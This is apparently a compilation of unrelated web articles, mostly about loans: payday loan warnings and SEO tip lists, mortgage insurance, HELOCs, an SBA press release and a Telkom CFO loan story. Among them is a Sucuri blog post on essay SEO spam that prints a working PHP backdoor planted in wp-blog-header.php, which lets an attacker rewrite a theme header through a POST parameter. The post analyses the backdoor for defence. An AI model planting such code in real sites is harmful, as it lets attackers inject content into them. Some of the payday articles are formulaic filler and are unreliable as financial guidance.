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How To Dodge Mortgage Insurance Fees When Applying For A Home Loan [Infographic]

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How To Dodge Mortgage Insurance Fees When Applying For A Home Loan [Infographic]

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Lenders Mortgage Insurance (LMI) is a one-off fee payable when borrowing more than 80 per cent of a property’s value. It’s yet another expense that can make life difficult for cash-strapped home buyers; even for a modestly priced property. This “hustler’s guide” from Home Loan Experts outlines the various ways you can reduce — or completely avoid — your LMI fee.

Australian house picture from Shutterstock

LMI can be a pain in the butt. It’s designed to protect the bank’s interests and can result in serious money woes if you default on your mortgage. As Home Loan Experts explains on its blog, if you borrowed $510,000 for a property worth $550,000, you could be paying over $23,000 upfront just to get your loan settled: not exactly small change.

The below infographic explains how to reduce or even avoid mortgage insurance altogether. Some of the advice will be unfeasible to most readers (you’re probably not going to become a doctor just to avoid an LMI fee) but there are also some viable tips that could save you a bunch of money. See for yourself!

[Home Loan Experts]


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Payday Loans: A Serious Problem | NASA Federal Credit Union


Payday Loans: A Serious Problem

We’ve all been there. It’s the middle of the month and you’re two or three weeks from your next paycheck. You’re driving to work like usual when a dashboard light starts flashing. The engine starts making noise. You don’t know what it means exactly, but you know it won’t be cheap. It’s weeks until payday, and you don’t have the money you need right now.

Ideally, you’ll have an emergency fund, a credit line or a HELOC you can use for those sudden, unexpected crises. Sometimes, though, you don’t have the best tools available.

If you’ve seen ads on TV for quick cash services, you probably thought they were too good to be true. They are. Most often, these are “payday loans.” This is a short-term loan against your next paycheck. It’s a really bad deal.

You write a personal check to the lender for the amount you want to borrow plus the lending fee. The lender holds the check until your next payday. At that point, they either cash the check or extend the loan for a longer period of time. Those extensions usually cost the same as the fee. They charge a new financing fee on the loan, and then you’re responsible for the whole amount. This fee adds up quickly, which can turn your one-time emergency into a crippling debt crisis.

The fees are usually the highest that are allowed by law. $15 charged per $50 loaned is not uncommon. In a hypothetical scenario, if you borrowed $100, you’d have to write a check for $130. If you need an extension, you’d have to pay a new fee – $45 for the new loan. You’d now owe $175. If this pattern continues, you can be in serious financial trouble very quickly.

If you miss a payment on one of these loans, you can be in for terrible consequences. For starters, your credit score will suffer. The terms of repayment can also allow the lender to garnish your wages, seize your car, harass you at home or work or even take you to court. The contract you sign with a payday loan provider has all kinds of terrible traps that are hidden in the fine print. These costs are why most people who use payday loans use them only as a last resort.

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??? Full Report – Thinking About Payday Loans? Use These Tips!

Have you heard of a loan called a payday loan? If so, then you’ve probably wondered if this loan is worth it. Payday advances often advertise as being easy to obtain, whether you have good credit or not. You will be able to make smart choices regarding a payday loan, with the information provided in this article. Continue reading to learn about cash advances.

When applying for cash advance loans, make sure you pay them back as soon as they’re due. Never extend them. Every extension is only going to leave you further in debt.

Before you get a payday loan, make sure you understand all the charges that come along with one. It can be shocking to see the rates some companies charge for a loan. It’s important to ask them what you’ll be charged when you’re inquiring.

Payday Loan

You must always investigate alternatives prior to accepting a payday loan. If you can get money somewhere else, you should do it. Yes, most of these options have fees associated with them, but they will be a fraction of the fees associated with a payday loan.

Make sure that you focus on directly applying to the payday loan lenders whenever you apply online. Payday loan brokers may offer many companies to use but they also charge for their service as the middleman.

You should go to a lender with an instant approval option to save time. If an online payday lender does not offer fast approval, move on. There are many others that can give you approval within one day.

If you want a payday loan, be sure everything is in writing prior to signing a contract. There are some scams involved with unscrupulous payday loans that will deduct money from your bank each month under the guise of a subscription.

Only borrow the amount of money you need, even if the payday loan company offers you more. A lender may do this because they could earn more money in fees as a result. Borrow exactly what you need and that’s all you should get.

Don’t lie on your payday loan forms. Perhaps you believe dishonesty will improve your changes of obtaining a loan, but the truth is that cash advance loans are routinely given to those with bad credit or weak job records. At the end of the day, lying on your application is going to hinder your ability to take out loans in the future.

It is important to be aware of all costs associated with payday loans. Such loans tend to charge very high rates of interest. In the event that you do not have the funds to repay on time, the loan will be higher when you do pay it back.

Payday Loan

Always put yourself in time out for ten minutes before signing a payday loan. There are times when you don’t have a choice but a payday loan should not be your first resort in a financial crisis. Before making any decisions involving your finances, ensure that you are no longer experiencing the effects of any emotional shock resulting from the unplanned event.

Don’t apply for a loan with a company you’ve defaulted on a loan with. You might have a need for money, but judging by your history with payday cash advances, you shouldn’t get one.

Before you give a payday loan agency all of your information, you need to make sure that they are reputable. Read consumer reviews and contact the Better Business Bureau to learn about complaints. Review each lenders privacy policy to make sure your information will be protected.

A good way to find a reputable company to get a payday loan from is to check out forums and review sites. You can learn from others about which lenders are best. This way, you can get a good idea of what companies to do business with and which ones to steer clear of.

Now that you know a lot of things about cash advance loans, you will now be able to make good decisions concerning them. If you can make an informed decision about payday loans, you are better off. This guide gave you good tips and it is now time to apply them.

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Related posts:

  1. Thinking About Cash Advance Loans? Use These Tips!
  2. Thinking About Payday Loans? Use These Tips!
  3. Thinking About Payday Cash Advances? Use These Tips!
  4. Payday Loans: Tips To Help You Make The Right Decision
  5. Thinking About Getting A Payday Loan? Read These Tips First

[…]

VIDEO: HBO's John Oliver Goes After PayDay Loans | Bank Innovation

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John Oliver has taken on some controversial topics on his new HBO show, Last Week Tonight. This time, he and Sarah Silverman take on payday loans.

Payday loans have been a hotly debated topic, with many saying that payday lenders are just loan sharks that take advantage of those looking for loans. The U.S. industry is a $27 billion business, but with interest rates charging 1,900% or more for these loans, lenders are using regulatory loopholes to make repaying harder for those less fortunate and get them stuck in a cycle of borrowing.

Here was Oliver’s take: “Basically, payday loans are the Lay’s potato chips of finance. You can’t just have one. And they’re terrible for you.”

Sarah Silverman came on to show Last Week Tonight’s “commercial” for its ideal payday lender, a company called “Anything Else.”

Check out the video below:

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When Cash Is Hard to Find, a Community Advantage Loan May Be Good Fit, says CDC Small Business Finance

ANAHEIM, Calif.–(BUSINESS WIRE)–

So you want to start your own business and need cash. What do you do?

Many small businesses are getting lured by alternative lenders who charge exorbitant interest rates. But there’s another, more viable option that carries a government guarantee with it. It’s called the Community Advantage loan from the Small Business Administration (SBA).

“Banks tend to be risk-averse, particularly with new small businesses that want to borrow less than $250,000,” said Stacey Sanchez, senior loan officer with CDC Small Business Finance, the national leader in Community Advantage lending. “But banks also want to be helpful and that’s when many of them will refer their clients to the Community Advantage program.”

Many small businesses struggle to find capital and are thwarted in their attempts for various reasons, including low credit scores, limited industry experience, tight cash flow or being highly leveraged.

The Community Advantage program provides small business owners with $20,000 to $250,000 for working capital, equipment, business acquisitions, start-ups and tenant improvements. At the current time, rates can be as low 6%.

“There are many small businesses with strengths that fit the Community Advantage model very well,” said Sanchez.

One such small business is Georgia’s restaurant in Orange County which recently secured an $82,000 Community Advantage loan to help launch a new eatery in The Anaheim Packing House. The restaurant specializes in Southern-style, creole-inspired comfort food in a fast-casual dining atmosphere.

“We needed capital for inventory and cash flow and the Community Advantage loan provided the springboard to a successful launch of our restaurant,” said Marlon Machado, co-owner of Georgia’s.

Small business owners can find out if they qualify for a loan by calling 800.611.5170 or by using CDC Small Business Finance’s Prequalify Today tool. They can also visit www.cdcloans.com or find CDC on Twitter @CDC_Loans and LinkedIn.

BusinessFinanceSmall Business Administration Contact:

CDC Small Business Finance

Larry Nuffer, 619.243.8620

lnuffer@cdcloans.com […]

Home equity loan, HELOC or cash-out refi?

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Home Equity » Home Equity Loan, HELOC Or Cash-Out Refi?

Homeowners who want to cash out their equity might be puzzled by the advantages and disadvantages of their three choices: a home equity line of credit, home equity loan or cash-out refinance.

Which makes the most sense?

The answer depends on:

How much equity you have.How much you want to borrow.When you plan to repay the money.Whether you want a fixed or flexible term.The interest rate on your current mortgage.

Home equity line of credit

A home equity line of credit, or HELOC, is a credit line secured by your home.

Most HELOCs have an adjustable rate, interest-only payments and 10-year “draw” period, during which the borrower can access the funds, explains Jay Voorhees, broker and owner of JVM Lending, a mortgage company in Walnut Creek, California.

After the draw period ends, the outstanding balance must be repaid. Typically, the repayment period is a 15-year term with a fixed or variable rate.

Voorhees says that homeowners can qualify for HELOCs if they have adequate income relative to their monthly debt obligations. They can find this type of financing for 80 percent of combined loan to value or even 85 percent or 90 percent combined loan to value.

Combined loan to value, or CLTV

Lenders calculate the combined loan to value by adding all mortgage debt together and dividing by the home’s current appraised value.

Formula: (Amount owed on primary mortgage + second mortgage) / appraised value

Example: Morgan owes $60,000 on the primary mortgage and has a HELOC for up to $15,000. The house is worth $100,000. The CLTV is 75%: ($60,000 + $15,000) / $100,000 = 0.75

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Uses and temptations of a HELOC

A HELOC can be a good way to borrow a relatively small sum for a relatively short time compared with a first mortgage, says Justin Lopatin, vice president of mortgage lending for PERL Mortgage in Chicago. An example might be $20,000 that you plan to repay within three to five years.

It can be “very tempting” to access a HELOC even if it’s not necessary, a disadvantage of this type of financing, says Alan Moore, a CFP professional at Serenity Financial Consulting in Milwaukee.

“You have to carefully consider: What are your long-term goals? What is the money for?” Moore says. “Realistically, having easy access to money is not always a good thing.”

Home equity loan

Like a first mortgage, a home equity loan allows you to borrow a specific sum for a set term at a fixed or variable rate. That’s why these loans are sometimes called second mortgages.

Home equity loans aren’t common today, yet some banks still offer them.

Banks offer hybrid equity loans

An alternative is a HELOC that’s structured like a fixed-rate home equity loan.

Kelly Kockos, home equity product manager for Wells Fargo in San Francisco, says the bank offers a HELOC with a fully amortizing payment, which means the loan is repaid in full if all the payments are made through the draw period.

“With every payment you make, you pay down a little bit of principal and a little bit of interest so when you get to the end of your draw period, you don’t have a big payment shock,” Kockos says.

A fixed-rate advance option allows the borrower to lock in a portion of the credit line at a fixed rate and term. If interest rates change, the advance can be unlocked to float down to a lower, current rate, Kockos says.

Cash-out refinance

A cash-out refinance is an entirely new first mortgage with cash back.

This option often appeals to homeowners who want to refinance for other reasons and decide to take out cash at the same time.

“It’s a good way to grab equity and keep it all in one loan,” Moore says.

He cautions, however, that any loan or cash-out strategy must have a clear purpose. Don’t take the cash just because you can.

Lenders typically limit the cash-out refinance to 80 percent of the home’s value, Voorhees says.

Check fees as well as interest rates

It’s important to compare closing costs and interest rates. Fees might be higher for a cash-out refinance than for a HELOC, while the interest rate might be lower for a cash-out refinance than for a HELOC, all other factors being the same.

The ability to lock in a low fixed rate is an advantage of a cash-out refinance, Voorhees explains.

“Whenever your payback period is going to be relatively slow, it behooves you to have a fixed rate because it’s much safer,” he says.

Your current rate matters

Your new monthly payment might be higher or lower than your current payment, depending on your interest rates, loan balances and repayment terms.

For example, if your existing loan has a very low rate, a cash-out refinance could mean your rate would be higher for your entire loan, not just the cash-out portion.

“If you bought (your home) in 2012 or 2013 and got a rate in the 3s, you may not want to touch that because it’s such a pristine loan that can’t be beat,” Lopatin says. “If you purchased a few years ago and maybe haven’t refinanced, it may make sense to roll everything into one loan.”

[…]

Trying To Decide Whether Or Not Payday Loans Are For You?


Trying To Decide Whether Or Not Payday Loans Are For You?

July 7, 2014

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Lots of people need quick cash from cash advance loans during an emergency. People in this situation need to fully understand how payday loans work before signing on the dotted line. Use the guidance that follows, and you will be prepared to make an informed decision.

The amount that you’re qualified to get through your payday loan will vary. Income levels are the determining factor for these loans. Lenders determine your earnings and establish your credit limit for borrowing purposes. This is important to realize as you consider taking out a payday loan to pay for one thing or another.

Payday Loan

You need to know there are consequences for non payment When you go with the payday loan, you have to pay it by the due date; this is vital. Read any fine print on the contract for your payday loan to learn about their late fees. You can have very high penalties with cash advances.

If you’re going to get a payday loan, you must be aware of the company’s policies. Payday loan companies require that you earn money from a reliable source on a regular basis. This increases the lender’s confidence that you’ll be able to repay the loan.

When taking out a pay day loan, try to find a lender that offers direct deposits. These loans can be added to your bank account in about a day, and they usually occur overnight. It’s a simple way of dealing with the loan, plus you aren’t walking around with hundreds of dollars in your pockets.

If you routinely use payday cash advances to make ends meet, you may need to seek additional financial help or education. You will find that payday loans can become a big problem and will end up costing you more and more.

Payday Loan

Only get a payday loan if you are having an emergency. It’s very easy to get trapped into a vicious payday loan cycle that you can’t get out of. Your effective wage will be lower than normal, and the lender may try to entice you to take out new loans.

Avoid being trapped in an endless debt cycle. You don’t want to take out a payday loan just to pay off yet another payday loan. You have to end this horrible cycle if you have to give up some comforts. It is very easy for you to get caught in a never-ending borrowing cycle, unless you take proactive steps to avoid it. This can be expensive over time.

Many people know cash advances as a way of obtaining additional funds needed when in a bind. You do need to have a good grasp of what these loans are all about, however. Remember what you have learned in this article to keep yourself making good decisions during this process.

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  1. Become Educated About Payday Loans Here And Now
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  3. Tips For Responsible Borrowing And Payday Loans
  4. Making Payday Loans Work For You
  5. Need Extra Cash? Payday Loans May Be The Solution

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Urban Policy Professor Lisa Servon on Payday Loans » Milano School

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Payday loans are illegal in New York, but not in California where Professor Lisa Servon did research working as a teller at Check Center, a check casher and payday lender in a low-income neighborhood in downtown Oakland. There she met Azlinah Tambu, a twenty-two-year-old single mother who took out five payday loans from five different payday lenders, ranging from fifty-five dollars to three hundred dollars each, to cover the expense of fixing her car. In a piece written for the New Yorker, Servon tells Tambu’s story, and discusses the need for a better solution for the growing demand for small loans in the US.

[…]

Not Just Pills or Payday Loans, It's Essay SEO SPAM! | Sucuri Blog

Image essay-seo-spam.png

Remember back in school or college when you had to write pages and pages of long essays, but had no time to write them? Or maybe you were just too lazy? Yeah, good times. Well, it seems like some companies are trying to end this problem. They are offering services where clients pay them to write these essays for you.

The problem is that this is not only wrong, but it’s also becoming a competitive market where some companies are leveraging SEO SPAM to gain better rankings on search engines (i.e., Google, Bing). They are also using popular sites like bleacherreport.com and joomlacode.org to add their spam links.

Here are a couple example URL’s from sites that got hit (URL’s are still showing SPAM):

httx://bleacherreport.com/users/4065601-community-service-essays httx://joomlacode.org/gf/download/trackeritem/32806/131536/online-academic-writers.html

If you think you have seen all kinds of SEO spam, think again. We just found a new one: the Essay SEO spam.

How Did We Find It?

Easy, Our free malware scanner SiteCheck was flagging a website as infected.

This was the payload:

At first, it appeared to be a false positive, but then I realized that this was an engineering website, and this “paper writing services” content couldn’t possibly have anything to do with it.

After checking out some of the flagged links I got to this “final” website: httx://www.paperhelp.org/order.html. We are not implying they are behind the attacks, but it wouldn’t be a stretch of the imagination to think that they likely hired an SEO company and that company could be using BlackHat techniques.

Who knows…

Where Was This Infection?

What got my attention was this tag "" at the beginning of the code. This is usually related with dynamic content placed in the header of the file. So, yes, in this case it was located on this page "./wp-content/themes/display/header.php".

How Did It Get Injected?

While cleaning the the website we found a backdoor that was inserted into this file: ./wp-blog-header.php:

if (isset($_POST['link'])){ $f_p=explode("<>",$_POST['link']); $link=''; foreach ($f_p as $f){ $f_a=explode("|",$f); $link.=''.$f_a[1].''.$f_a[2].' '; } $link_div=''.$link.''; $heder="wp-content/themes/display/header.php"; $p=file_get_contents($heder); if (preg_match('|()|s',$p)){ $p=preg_replace('|()|s','',$p);} preg_match('|()s|',$p,$bodys); $body=$bodys[1]." ".$link_div; $p_n=preg_replace('|()s|',"$body",$p); $fp = fopen($heder, 'w');fwrite($fp, $p_n);fclose($fp); echo "succes"; }

I am not a developer so I asked one of our developers (Ante Kresic) how this backdoor worked, and here is his explanation:

This backdoor was inserted in the wp-blog-header.php file, which is the first file that is read in WordPress, so this works on the whole site. The $_POST[‘link’] gives permission to add content in a website, in this specific case, it was added in the header.php file:

$heder="wp-content/themes/display/header.php";

So basically, the hacker is sending a payload using this post variable ‘link’, filled with ‘<>’ and ‘|’ characters written in a specific format. These are separated into multiple entries and they all show up in the header.php file, printed out as “succes” :

echo "succes";

The irony in the entire story could be traced back to a simple indicator that something was wrong, these attackers were advertising essay writing services, and using words like “heder” and “succes”.


Have you run into any sites with similar scams or SPAM? If you’re not sure if your site, or one you’re visiting is affected or infected, run a free malware scan. If you need help cleaning up a site, check out Sucuri Cleanup.

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Telkom CFO to Repay $555,000 Loan Awarded After ‘Lousy Process’

Telkom SA SOC Ltd. (TKG) said it asked suspended Chief Financial Officer Jacques Schindehutte to repay a 6 million rand ($555,000) loan used to buy shares because the transaction breached the terms of the Companies Act.

Telkom, Africa’s biggest fixed-line phone operator, lent Schindehutte the cash in late September so he could buy stock, Chief Executive Officer Sipho Maseko said on Nov. 18. Schindehutte would only be obliged to repay the zero-interest loan if he left the company, Pretoria-based Telkom said in a statement the same day. The CFO was suspended in October following the outcome of an investigation into unspecified allegations of misconduct, yet remains a Telkom employee.

The loan “was granted in a manner that was inconsistent with provisions of the Companies Act, making the transaction null and void,” Telkom said in an e-mailed statement today. “The board cannot and did not ratify the granting of the loan. Telkom therefore has an obligation to claim the loan back in order to rectify the situation.”

Schindehutte bought 243,700 Telkom shares for 5.96 million rand or 24.4523 rand each, the company said in an Oct. 2 statement. The stock is now trading at 33.30 rand, or 36 percent higher than what Schindehutte paid, amounting to a paper profit for the director of 2.16 million rand. The shares have risen almost 10 percent since the company said Jan. 10 it plans to fire 1,000 managers and reduce the workforce by about a third over five years.

Oversaw Payment

“The interest-free loan has nothing to do with my suspension as I followed the correct procedure to seek approval for the loan,” Schindehutte said in an interview today. “I’ve now been told that the company was unable to ratify the loan as they had indicated to the market and I’ve been called upon to repay the loan. I will do that forthwith.”

Telkom said that in his capacity as CFO Schindehutte was responsible for the provision of loans to directors and personally oversaw the payment to himself.

“Having now been advised that the loan was void, the CFO has a fiduciary duty to repay the loan to the company,” Telkom said in the statement. “We are confident that Mr Schindehutte will act in the best interests of the company and repay the loan.”

Maseko said in a December interview he would have preferred not to have probed Schindehutte’s alleged misconduct.

“If we were not listed no one would know about this, we would have managed it pretty quietly,” Maseko said. “It started off as a whistle-blowing, which the company then duly investigated. I, for one, wasn’t keen to investigate it.”

To contact the reporter on this story: Christopher Spillane in Johannesburg at cspillane3@bloomberg.net

To contact the editor responsible for this story: Kenneth Wong at kwong11@bloomberg.net

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